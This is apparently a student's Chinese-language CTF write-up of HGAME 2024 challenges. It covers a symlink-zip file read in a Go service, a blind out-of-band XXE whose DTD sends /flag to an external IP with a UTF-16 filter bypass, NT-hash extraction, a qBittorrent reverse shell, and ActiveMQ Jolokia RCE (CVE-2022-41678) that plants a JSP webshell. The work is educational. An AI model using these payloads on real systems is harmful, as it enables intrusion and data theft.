    filename := "/app/uploads/" + file.Filename

    if _, err := os.Stat(filename); err == nil {
        err := os.Remove(filename)
        if err != nil {
            c.JSON(http.StatusInternalServerError, FileResponse{
                Code:    http.StatusInternalServerError,
                Message: "Failed to remove existing file",
                Data:    "",
            })
            return
        }
    }

    err = c.SaveUploadedFile(file, filename)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to save file",
            Data:    "",
        })
        return
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "File uploaded successfully",
        Data:    filename,
    })
}

func UnzipPackage(c *gin.Context) {
    files, err := filepath.Glob("/app/uploads/*.zip")
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to get list of .zip files",
            Data:    "",
        })
        return
    }

    for _, file := range files {
        cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
        if err := cmd.Run(); err != nil {
            c.JSON(http.StatusInternalServerError, FileResponse{
                Code:    http.StatusInternalServerError,
                Message: "Failed to unzip file: " + file,
                Data:    "",
            })
            return
        }
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "Unzip completed",
        Data:    "",
    })
}

func ReadSecretFile(c *gin.Context) {
    secretFilepath := "/app/secret"
    content, err := util.ReadFileToString(secretFilepath)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to read secret file",
            Data:    "",
        })
        return
    }

    secretContent, err := util.ReadFileToString(content)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to read secret file content",
            Data:    "",
        })
        return
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "Secret content read successfully",
        Data:    secretContent,
    })
}

这里再来理一下思路:这里的源码全部都指向/app,说明工作目录基于/app,因此我上传软连接需要将压缩包指向应用工作目录/app然后再进行其他操作

制作压缩包

image.png

上传1.zip后调用/api/unzip进行解压

image.png

然后调用/api/secrert路由

image.png

发现默认读取的是fake_flag

再创建⼀个 link/secret ⽂件,⽂件内容为 /flag ,然后压缩这个 link ⽬录为2.zip,上传后

image.png

调⽤ /api/unzip 接⼝进⾏解压,⽤⾃定义的secret⽂件覆盖系统中原有的secret⽂件(原本secret文件时/fake_flag,现在改为/flag)

因此上传2.zip后再次解压调用/api/secret即可读取/flag内容

image.png

flag

hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}

Web-Vidarbox

题目描述

image.png

分析

源码如下,代码审计写了注释

package org.vidar.controller;

import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller
public class BackdoorController {

​    private String workdir = "file:///non_exist/";
​    private String suffix = ".xml";

​    @RequestMapping("/")
​    public String index() {
​        return "index.html";
​    }

​    @GetMapping({"/backdoor"})
​    @ResponseBody
​    public String hack(@RequestParam String fname) throws IOException, SAXException {
​        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();//创建了一个 `DefaultResourceLoader` 实例,该实例用于加载资源文件
​        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();//通过资源加载器加载指定路径的文件,并将其内容作为字节数组返回给 `content` 变量

​        if (content != null && this.safeCheck(content)) {//检查加载的内容不为空,并调用 `this.safeCheck(content)` 方法进行安全检查
​            XMLReader reader = XMLReaderFactory.*createXMLReader*();//创建一个 XMLReader 实例,用于解析 XML 内容
​            reader.parse(new InputSource(new ByteArrayInputStream(content)));//将加载的 XML 内容作为字节数组的输入流传递给 XMLReader,并解析该内容
​            return "success";
​        } else {
​            return "error";
​        }
​    }

​    private boolean safeCheck(byte[] stream) throws IOException {
​        String content = new String(stream);
​        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
​                !content.contains("doctype") && !content.contains("entity");
​    }//检查是否含有这四个字符串

}

源码大致意思如下:/backdoor路由下能读文件,并当作xml文件解析

因此方向抛到blind oob xxe

vps上放个evil1.dtd文件,内容如下

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://114.132.250.144:8080?p=%file;'>">

本地来一个1.xml文件,内容如下

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://114.132.xxx.xxx/evil1.dtd">
%remote;%int;%send;
]>

但是由于有safecheck,编码绕过即可

iconv -f utf8 -t utf16 1.xml>2.xml

现在得到的2.xml拿去题目中加载即可绕过

因此思路就是2.xml放在vps上用靶机读取

其实不用命令编码也行,如下

<?xml version"1.0" encoding="UTF-16BE" ?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://114.132.xxx.xxx/evil1.dtd">
%remote;%int;%send;
]>

但问题是evil1.dtd里的file协议该怎么读取远程文件呢?

(监听不到数据....疑似是ftp服务器的问题)

Misc-与ai聊天

纯脑洞

image.png
image.png

Misc-简单的vmdk取证

考点

  • 硬盘取证-Windows系统密码破解-saminside工具利用

题目描述

image.png

分析

下载附件得到一个vmdk文件,显然是硬盘取证

通过7z处理vmdk(其实预期工具最好是magnet AXIOM,工具太大还没下好,这里我用saminside替代)

7z x hgame.vmdk -o./
image.png

题目要求获取Windows密码及其nt-hash

思路如下:
1.获取目录C:Windows\System32\config下的SAM和SYSTEM文件
2.使用SAMInside获取用户的NT-HASH
3.在线网站破解

第二步通过saminside加载之后如下图

image.png

得到 admin的ntash的password为DAC3A2930FC196001F3AEAB959748448

去在线网站破解https://cmd5.org/

image.png

所以flag为

hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}

flag

hgame{DAC3A2930FC196001F3AEAB959748448_admin1234}

Misc-简单的取证,不过前十个有红包

考点

  • 磁盘取证
  • 二进制文件挂载(veracrypt工具的使用)

题目描述

image.png

上一个题的磁盘里有图片

分析

下载附件得到一个vera.hc,这个hc文件是啥呢?

"hc" 文件通常是一种二进制文件格式的缩写

通过veracrypt工具挂载hc文件需要密码,而这个题的题目描述 不难想到密码要从上一个题的磁盘里面去找

然后找到一张jpg得到密码968fJD17UBzZG6e3yjF6

image.png

拿去veracrypt挂载

image.png
image.png

打开flag.txt即flag

image.png

flag

hgame{happy_new_year_her3_1s_a_redbag_key_41342177}

Misc-Blind Sql Injection

考点

  • sql盲注的流量分析

题目描述

image.png

分析

工具一把梭

flag

flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}

WEEK4

Whose Home?

考点

qBittorrent Web UI 默认凭据导致 RCE (CVE-2023-30801)

分析

没有环境云复现

默认密码登录

username: admin  
password: adminadmin

然后进去在设置里面有一个地方可以进行命令执行

反弹shell

(下图copied from chenxi)

image.png

找一个torrent文件,单击上传,上传成功后即可反弹shell

然后find命令查看有suid权限的程序读取flag

reference

https://chenxi9981.github.io/hgame2024_week4/

web-Reverse and Escalation I & II

这个题和Reverse and Escalation II都是同一个cve

没环境,但这是个cve复现题,因此复现一下cve

这道题是一个CVE-2022-41678

ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现

0x00 前置知识

  • ActiveMQ是什么?
ActiveMQ是一个消息队列应用服务器(推送服务器)。支持JMS规范。
  • JMS概述
JMS 全称:Java Message Service ,即为 Java 消息服务,是一套 java 消息服务的 API 接口。实现了 JMS 标准的系统,称之为 JMS Provider
  • 消息队列是什么?
消息队列是在消息的传输过程中保存消息的容器,提供一种不同进程或者同一进程不同线程直接通讯的方式
image.png
  • Producer:消息生产者,负责产生和发送消息到 Broker;
  • Broker:消息处理中心。负责消息存储、确认、重试等,一般其中会包含多个 queue;
  • Consumer:消息消费者,负责从 Broker 中获取消息,并进行相应处理;

常见消息队列应用:ActiveMQ,RabbitMQ,RocketMQ

0x01 漏洞描述

ctiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中,经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean,成功利用此漏洞可导致远程代码执行

0x02 影响版本

Apache ActiveMQ < 5.16.6

5.17.0< Apache ActiveMQ < 5.17.4

0x03 环境搭建

vulhub上去下载这个cve的环境

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678
docker compose up -d

服务启动后,访问http://your-ip:8161/后输入账号密码adminadmin,即可成功登录后台。

image.png

0x04 漏洞复现

使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean

这是由Log4j2提供的一个MBean

思路:hacker通过使用这个mbean中的setConfigText操作更改Log4j的配置

进而将日志文件写入任意目录中

第一步先访问/api/jolokia/list,而且加入origin值,Authorization值为admin:admin的base64加密值

image.png

可以看到org.apache.logging.log4j2的type=6ddf90b0

然后第二步传json

{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}

xml文件为POC中的evil_template内容,此处出现"status":200,就可以证明漏洞存在

但是复现的时候始终是400

image.png

直接进入下一步:

第三步在/api/jolokia/version进行注入

image.png

其实直接用脚本攻击即可

python poc.py -u admin -p admin http://114.132.250.144:8161

然后访问/admin/shell.jsp?id=cmd进行rce

image.png

0x05 reference

https://www.cnblogs.com/kalixcn/p/17911479.html
https://blog.csdn.net/huangyongkang666/article/details/134814554

大一在读菜鸡ctfer的成长记录